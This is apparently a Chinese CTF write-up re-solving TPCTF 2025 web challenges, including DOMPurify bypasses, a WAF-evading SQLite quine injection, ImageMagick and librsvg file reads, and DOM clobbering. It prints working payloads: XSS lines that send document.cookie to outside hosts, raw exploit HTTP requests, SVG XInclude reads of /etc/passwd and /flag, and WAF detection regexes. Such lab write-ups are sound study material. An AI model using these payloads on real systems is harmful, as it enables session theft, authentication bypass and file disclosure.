TPCTF2025复现(全)
重新回味一下当时做出的,品鉴当时没做出的
baby layout
<script>
const post = document.getElementById('post');
const report = document.getElementById('report');
let loading = false;
report.addEventListener('click', async () => {
if (loading) return;
const postId = post.value.trim();
if (!/^[a-f0-9]{32}$/.test(postId)) {
alert('Invalid post ID');
return;
}
loading = true;
report.toggleAttribute('disabled', true);
report.setAttribute('aria-busy', 'true');
try {
const res = await fetch('/api/report', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({ postId }),
});
if (res.status === 200) {
alert('Completed!');
} else {
const text = await res.text();
throw new Error(`HTTP ${res.status}: ${text}`);
}
} catch (err) {
alert(`Error: ${err.message}`);
}
loading = false;
report.toggleAttribute('disabled', false);
report.setAttribute('aria-busy', 'false');
});
</script>对于`postid`做出一个限制,对`report`路由进行异步请求,那接着看
import puppeteer from 'puppeteer';
const FLAG = process.env.FLAG ?? 'fake{dummy}';
const APP_HOST = 'web';
const APP_PORT = '3000';
const APP_URL = `http://${APP_HOST}:${APP_PORT}`;
const sleep = (ms) => new Promise((resolve) => {
setTimeout(resolve, ms);
});
export default async function visit(postId) {
const url = new URL(`/post/${postId}`, APP_URL).href;
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: 'new',
executablePath: '/usr/bin/chromium',
args: [
'--no-sandbox',
'--disable-dev-shm-usage',
'--disable-gpu',
'--js-flags="--noexpose_wasm"',
],
});
const context = await browser.createBrowserContext();
await context.setCookie({
name: 'FLAG',
value: FLAG,
domain: APP_HOST,
httpOnly: false,
sameSite: 'Strict',
});
try {
const page = await context.newPage();
await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' });
await sleep(5000);
await page.close();
} catch (err) {
console.error(err);
}
await context.close();
await browser.close();
console.log(`end: ${url}`);
}设置超时为5s,并且将flag注入到Cookie之中
import express from 'express';
import rateLimit from 'express-rate-limit';
import pLimit from 'p-limit';
import { cpus } from 'os';
import visit from './visit.js';
const app = express();
app.use(express.json());
app.use(express.static('public'));
app.use(
'/api',
rateLimit({
windowMs: 60 * 1000,
max: 2,
}),
);
const CONCURRENCY = cpus().length * 2 - 1;
const MAX_PENDING = CONCURRENCY * 2;
const limit = pLimit(CONCURRENCY);
app.post('/api/report', async (req, res) => {
const { postId } = req.body;
if (typeof postId !== 'string' || !/^[a-f0-9]{32}$/.test(postId)) {
return res.status(400).send('Invalid post ID');
}
if (limit.pendingCount >= MAX_PENDING) {
console.log(`Server is busy: ${limit.pendingCount}`);
return res.status(503).send('Server is busy');
}
try {
await limit(visit, postId);
return res.sendStatus(200);
} catch (e) {
console.error(e);
return res.status(500).send('Something went wrong');
}
});
app.listen(1337, () => {
console.log('Bot server running on port 1337');
});限制访问次数每分钟2次,还有就是postid的限制,但是没发现POST内容的地方,继续看最后一个
import express from 'express';
import session from 'express-session';
import rateLimit from 'express-rate-limit';
import { randomBytes } from 'crypto';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const { window } = new JSDOM();
const DOMPurify = createDOMPurify(window);
const posts = new Map();
const DEFAULT_LAYOUT = `
<article>
<h1>Blog Post</h1>
<div>{{content}}</div>
</article>
`;
const LENGTH_LIMIT = 500;
const app = express();
app.use(express.json());
app.set('view engine', 'ejs');
if (process.env.NODE_ENV === 'production') {
app.use(
'/api',
rateLimit({
windowMs: 60 * 1000,
max: 10,
}),
);
}
app.use(session({
secret: randomBytes(32).toString('hex'),
resave: false,
saveUninitialized: false,
}));
app.use((req, _, next) => {
if (!req.session.layouts) {
req.session.layouts = [DEFAULT_LAYOUT];
req.session.posts = [];
}
next();
});
app.get('/', (req, res) => {
res.setHeader('Cache-Control', 'no-store');
res.render('home', {
posts: req.session.posts,
maxLayout: req.session.layouts.length - 1,
});
});
app.post('/api/post', (req, res) => {
const { content, layoutId } = req.body;
if (typeof content !== 'string' || typeof layoutId !== 'number') {
return res.status(400).send('Invalid params');
}
if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');
const layout = req.session.layouts[layoutId];
if (layout === undefined) return res.status(400).send('Layout not found');
const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);
if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');
const id = randomBytes(16).toString('hex');
posts.set(id, body);
req.session.posts.push(id);
console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);
return res.json({ id });
});
app.post('/api/layout', (req, res) => {
const { layout } = req.body;
if (typeof layout !== 'string') return res.status(400).send('Invalid param');
if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');
const sanitizedLayout = DOMPurify.sanitize(layout);
const id = req.session.layouts.length;
req.session.layouts.push(sanitizedLayout);
return res.json({ id });
});
app.get('/post/:id', (req, res) => {
const { id } = req.params;
const body = posts.get(id);
if (body === undefined) return res.status(404).send('Post not found');
return res.render('post', { id, body });
});
app.post('/api/clear', (req, res) => {
req.session.layouts = [DEFAULT_LAYOUT];
req.session.posts = [];
return res.send('cleared');
});
app.listen(3000, () => {
console.log('Web server running on port 3000');
});做一个初始的处理,便于这个POST系统,设置字符长度限制为500,利用session来保存会话,使得每个用户的东西都不一样,即使没有注册登录功能
利用DOMPurify进行xss过滤,在形成POST的阶段将`{{content}}`替换,所以可以拼接绕过就好了,同时查看依赖
得知版本,但是我们知道这并不会消除`img`标签,poc如下,
layout
<img src="{{content}}">
content
x" onerror="alert(114)
x" onerror="window.open('http://156.238.233.9:9999/?p='+document.cookie)注意我说过是在生成post的时候进行替换,所以应该是先注入layout,如果看代码过急可能不会看到这个
safe layout
与上一题的区别是以下代码
const sanitizedLayout = DOMPurify.sanitize(layout, { ALLOWED_ATTR: [] });
const sanitizedContent = DOMPurify.sanitize(content, { ALLOWED_ATTR: [] });`ALLOWED_ATTR: []`这样子会使得所有HTML属性被禁用,但是自定义属性仍然可以使用,poc如下
layout:
<img data-id="{{content}}">
content:
x" src="x" onerror="alert(114)
x" src="x" onerror="window.open('http://156.238.233.9:9999/?p='+document.cookie)safe layout revenge
在上一题发布的时候这题也发布了,本来想要看看这题再来绕过上题的,结果需要flag才可以打开文件,查看区别发现上题确实是预期解
const sanitizedContent = DOMPurify.sanitize(content, {
ALLOWED_ATTR: [],
ALLOW_ARIA_ATTR: false,
ALLOW_DATA_ATTR: false,
});
const sanitizedLayout = DOMPurify.sanitize(layout, {
ALLOWED_ATTR: [],
ALLOW_ARIA_ATTR: false,
ALLOW_DATA_ATTR: false,
});- ALLOW_ARIA_ATTR: false:显式禁止 ARIA 属性
- ALLOW_DATA_ATTR: false:显式禁止 data-* 自定义属性
我们知道dompurify版本,于是搜索
发现了一篇文章,https://ensy.zip/posts/dompurify-323-bypass/ 即使版本不对,但是事实证明绕过了,由于环境设置可以用{{content}}置空,所以我们可以在里面进行穿插来绕过
<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
<!{{content}}\${<{{content}}/style><{{content}}img src=x onerror="window.open('https://aojveb29.requestrepo.com/?p='+document.cookie)">
</style>
}
<foo-b id="><img src onerror='alert(1)'>">hmm...</foo-b></a></table></li></mi></foo-test></math>但是如果你是第一题就想到利用dompurify来绕过的话,并且发现了这个方法,就可以一口气打通三道题
supersqli
sqlite3,并且黑名单还是挺死的那种,经过一番测试,个人认为需要进行密码的更新来获得flag,但是主要文件其实就两个
package main
import (
"bytes"
"io"
"log"
"mime"
"net/http"
"regexp"
"strings"
)
const backendURL = "http://127.0.0.1:8000"
const backendHost = "127.0.0.1:8000"
var blockedIPs = map[string]bool{
"1.1.1.1": true,
}
var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)
var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)
var hotfixPattern = regexp.MustCompile(`(?i)(select)`)
var blockedUserAgents = []string{
"sqlmap",
"nmap",
"curl",
}
func isBlockedIP(ip string) bool {
return blockedIPs[ip]
}
func isMaliciousRequest(r *http.Request) bool {
for key, values := range r.URL.Query() {
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("参数 %s=%s", key, value)
return true
}
}
}
if r.Method == http.MethodPost {
ct := r.Header.Get("Content-Type")
mediaType, _, err := mime.ParseMediaType(ct)
if err != nil {
log.Printf("解析 Content-Type 失败: %v", err)
return true
}
if mediaType == "multipart/form-data" {
if err := r.ParseMultipartForm(65535); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
} else {
if err := r.ParseForm(); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
}
for key, values := range r.PostForm {
log.Printf("POST 参数 %s=%v", key, values)
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: POST 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: POST 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("POST 参数 %s=%s", key, value)
return true
}
}
}
}
return false
}
func isBlockedUserAgent(userAgent string) bool {
for _, blocked := range blockedUserAgents {
if strings.Contains(strings.ToLower(userAgent), blocked) {
return true
}
}
return false
}
func reverseProxyHandler(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
if isBlockedIP(clientIP) {
http.Error(w, "Forbidden", http.StatusForbidden)
log.Printf("阻止的 IP: %s", clientIP)
return
}
bodyBytes, err := io.ReadAll(r.Body)
if err != nil {
http.Error(w, "Bad Request", http.StatusBadRequest)
return
}
r.Body = io.NopCloser(bytes.NewBuffer(bodyBytes))
if isMaliciousRequest(r) {
http.Error(w, "Malicious request detected", http.StatusForbidden)
return
}
if isBlockedUserAgent(r.UserAgent()) {
http.Error(w, "Forbidden User-Agent", http.StatusForbidden)
log.Printf("阻止的 User-Agent: %s", r.UserAgent())
return
}
proxyReq, err := http.NewRequest(r.Method, backendURL+r.RequestURI, bytes.NewBuffer(bodyBytes))
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
proxyReq.Header = r.Header
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
resp, err := client.Do(proxyReq)
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
defer resp.Body.Close()
for key, values := range resp.Header {
for _, value := range values {
if key == "Location" {
value = strings.Replace(value, backendHost, r.Host, -1)
}
w.Header().Add(key, value)
}
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
}
func main() {
http.HandleFunc("/", reverseProxyHandler)
log.Println("Listen on 0.0.0.0:8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}from django.shortcuts import render
from django.db import connection
# Create your views here.
from django.http import HttpResponse,HttpRequest
from .models import AdminUser,Blog
import os
def index(request:HttpRequest):
return HttpResponse('Welcome to TPCTF 2025')
def flag(request:HttpRequest):
if request.method != 'POST':
return HttpResponse('Welcome to TPCTF 2025')
username = request.POST.get('username')
if username != 'admin':
return HttpResponse('you are not admin.')
password = request.POST.get('password')
users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
try:
assert password == users[0].password
return HttpResponse(os.environ.get('FLAG'))
except:
return HttpResponse('wrong password')
找出这两个文件之后,先理清思路,他这么多的文件在干嘛,首先go作为一层代理进行waf过滤,真正进行查询的就是views.py,经过多次测试发现https://www.cnblogs.com/throwable/p/15740444.html文章,构造数据包
POST /flag/ HTTP/1.1
Host: 156.238.233.93
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Length: 424
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="password"; filename="password";
Content-Disposition: form-data; name="password";
' union select 1,2,3 from auth_permission where 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000)))) -- asdf
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN--发现成功延时
准备查库,发现根本没有密码,回头细看代码
对于这样的处理方式,有种专门的注入手法quine注入,简单的说,就是查询语句和查询出来的答案保持一致,在网上收集demo
select replace('replace(".",char(46),".")',char(46),'.');
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
admin
'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
bilala
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#
admin
'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#对于这题,我们只需要把mysql改成sqlite3即可
POST /flag/ HTTP/1.1
Host: 1.95.159.113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Length: 424
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="password"; filename="password";
Content-Disposition: form-data; name="password";
1' union select 1,2,replace(replace('1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")-- ',char(34),char(39)),char(46),'1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")-- ')--
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN--thumbor 1
只有一个Dockerfile,一般这种都是直接拉取的gayhub上面的应用
FROM python:3.7.11-buster
RUN apt-get update && apt-get install -y libexiv2-dev libboost-python-dev exiftool
RUN git clone --depth 1 https://gerrit.wikimedia.org/r/operations/software/thumbor-plugins
RUN pip install -r thumbor-plugins/requirements.txt
RUN dd if=thumbor-plugins/README.md of=thumbor.conf bs=1 count=1947 skip=610
RUN echo TPCTF{...} > /flag
ENV PYTHONPATH=/thumbor-plugins
ENTRYPOINT thumbor --port 8800 --conf=thumbor.conf -a wikimedia_thumbor.app.App先启动容器,再把关键文件脱出来
docker build -t thumbor-ctf .
docker run -d --name thumbor_ctf -p 8800:8800 thumbor-ctf
docker exec -it e0530d40268d /bin/bash
cd / && tar czvf /tmp/data.tar.gz thumbor-plugins thumbor.conf
docker cp thumbor_ctf:/tmp/data.tar.gz ./获得源码之后本地看看,还是挺大的,题目提示说不是0DAY,那也就是说其中有个NDAY或者是1DAY,先看REDEME,发现
后面这个unsafe非常可疑啊,但是想不到,也不知道怎么去找这个NDAY,去看thumbor 2发现多了几个东西,而且imagemagick确实有个任意文件读取漏洞https://www.freebuf.com/vuls/359193.html,基本和unsafe解析一样,但是一般文件读取漏洞,flag需要有足够权限,
确实足够,那么复现一下漏洞先
pip install pypng
./poc.py generate -o poc.png -r /etc/passwd
python3 poc.py parse -i ans.png复现成功,但是对于本题,好像不能成功,不过还有一种方法可以利用
./poc.py generate -o test1.png -r /flag
pngcrush -text a "profile" "/flag" test1.png这里需要注意就是必须是要P牛脚本生成的png文件,不然不能成功
把文件保存为flag.png
identify -verbose flag.pngtext="54504354467b2e2e2e7d0a"
print(bytes.fromhex(text).decode("utf-8"))但是直接使用任意一个方法来又不能成功,真是太奇怪了
thumbor 2
FROM pandoc/core:2.18-ubuntu
RUN apt-get update && apt-get install -y libexiv2-dev libboost-python-dev exiftool imagemagick git python3-pip libcurl4-openssl-dev libssl-dev
RUN git clone --depth 1 https://gerrit.wikimedia.org/r/operations/software/thumbor-plugins
RUN pip install -r thumbor-plugins/requirements.txt
RUN dd if=thumbor-plugins/README.md of=thumbor.conf bs=1 count=1947 skip=610
RUN echo TPCTF{...} > /flag
ENV PYTHONPATH=/data/thumbor-plugins
ENTRYPOINT thumbor --port 8800 --conf=thumbor.conf -a wikimedia_thumbor.app.App题目描述为和thumbor 1无关,并且也不是0DAY,还是起环境拉文件
docker build -t thumbor2 .
docker run -d --name thumbor2_container -p 8800:8800 thumbor2
docker exec -it e12407bb5a87 /bin/bash基本的看了看,感觉没什么变化,首先尝试看看他是不是忘记防住了
好吧没有,继续找找能不能有被解析的进行任意文件读取的,没找到,最后看官方WP,https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/
利用libsvg进行XInclude 回退来任意文件读取,但是这依赖里面都没写啊,🤡poc如下
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="1000" height="1000" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="600" height="600" style="fill:rgb(255,255,255);" />
<text x="10" y="100">
<xi:include href=".?../../../../../../../../etc/passwd" parse="text"
encoding="UTF-8">
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>将这个文件保存在服务器上面
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="1000" height="1000" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="600" height="600" style="fill:rgb(255,255,255);" />
<text x="10" y="100">
<xi:include href=".?../../../../../../../../flag" parse="text"
encoding="UTF-8">
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>这两道题有个槽点,就是他加载外部文件的时候,是不能覆盖的,比如这里是2.svg,你如果在服务器上更改了内容,这里加载的仍然是原来的内容
are-you-incognito
<script>
const urlInput = document.getElementById('url');
const report = document.getElementById('report');
let loading = false;
report.addEventListener('click', async () => {
if (loading) return;
const url = urlInput.value.trim();
if (!url.startsWith('http://') && !url.startsWith('https://')) {
alert('Invalid URL');
return;
}
loading = true;
report.toggleAttribute('disabled', true);
report.setAttribute('aria-busy', 'true');
try {
const res = await fetch('/api/report', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({ url }),
});
if (res.status === 200) {
alert('Completed!');
} else {
const text = await res.text();
throw new Error(`HTTP ${res.status}: ${text}`);
}
} catch (err) {
alert(`Error: ${err.message}`);
}
loading = false;
report.toggleAttribute('disabled', false);
report.setAttribute('aria-busy', 'false');
});
</script>看到必须要是一个http服务才能被处理
import puppeteer from 'puppeteer';
const sleep = (ms) => new Promise((resolve) => {
setTimeout(resolve, ms);
});
export default async function visit(url) {
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: 'new',
executablePath: '/usr/bin/chromium',
args: [
'--no-sandbox',
'--disable-dev-shm-usage',
'--disable-gpu',
'--js-flags="--noexpose_wasm"',
'--disable-extensions-except=/extension',
'--load-extension=/extension',
],
});
try {
const page = await browser.newPage();
await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' });
await sleep(5000);
await page.close();
} catch (err) {
console.error(err);
}
await browser.close();
console.log(`end: ${url}`);
}看到visit.js发现就是加载了指定拓展,设置5s超时
import express from 'express';
import rateLimit from 'express-rate-limit';
import pLimit from 'p-limit';
import { cpus } from 'os';
import visit from './visit.js';
const app = express();
app.use(express.json());
app.use(express.static('public'));
app.use(
'/api',
rateLimit({
windowMs: 60 * 1000,
max: 2,
}),
);
const CONCURRENCY = cpus().length * 2 - 1;
const MAX_PENDING = CONCURRENCY * 2;
const limit = pLimit(CONCURRENCY);
app.post('/api/report', async (req, res) => {
const { url } = req.body;
if (typeof url !== 'string' || (!url.startsWith('http://') && !url.startsWith('https://'))) {
return res.status(400).send('Invalid URL');
}
if (limit.pendingCount >= MAX_PENDING) {
console.log(`Server is busy: ${limit.pendingCount}`);
return res.status(503).send('Server is busy');
}
try {
await limit(visit, url);
return res.sendStatus(200);
} catch (e) {
console.error(e);
return res.status(500).send('Something went wrong');
}
});
app.listen(1337, () => {
console.log('Bot server running on port 1337');
});设置了每分钟只被请求两次,如果服务不繁忙就正常利用visit来处理url,全局搜索extension,关键代码如下
首先我们要满足browser.extension.inIncognitoContext为true,其次这个拓展就会访问/flag,其中有flag,这里是最大的误区,我一开始认为是平常的xss,让bot去访问内部/flag再带出来,后面发现不是,绕过的话,我们可以利用DOM Clobbering攻击去对全局变量的劫持覆盖
<!DOCTYPE html>
<html>
<body>
<form id="browser" name="runtime"></form>
<form id="browser" name="extension">
<input name="inIncognitoContext" value="true">
</form>
</html>现在是要拓展去访问`/flag`,所以我们过了验证之后还要有一个flag路由让他访问
from flask import Flask, request, jsonify
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
file_path = os.path.join(os.path.dirname(__file__), 'index.html')
with open(file_path, 'r') as f:
data = f.read()
return data, 200, {'Content-Type': 'text/html'}
except Exception as e:
return 'Internal Server Error', 500
@app.route('/flag', methods=['POST'])
def flag():
# 处 理 POST 请 求
body = request.data.decode('utf-8')
response = {
'status': 'flag',
'data': body
}
print(response)
return jsonify(response), 200
@app.errorhandler(404)
def page_not_found(e):
return 'Not Found', 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=19006)运行
python3 exp.py
http://156.xxx.xxx.x3:19006/xss真心还挺不错的
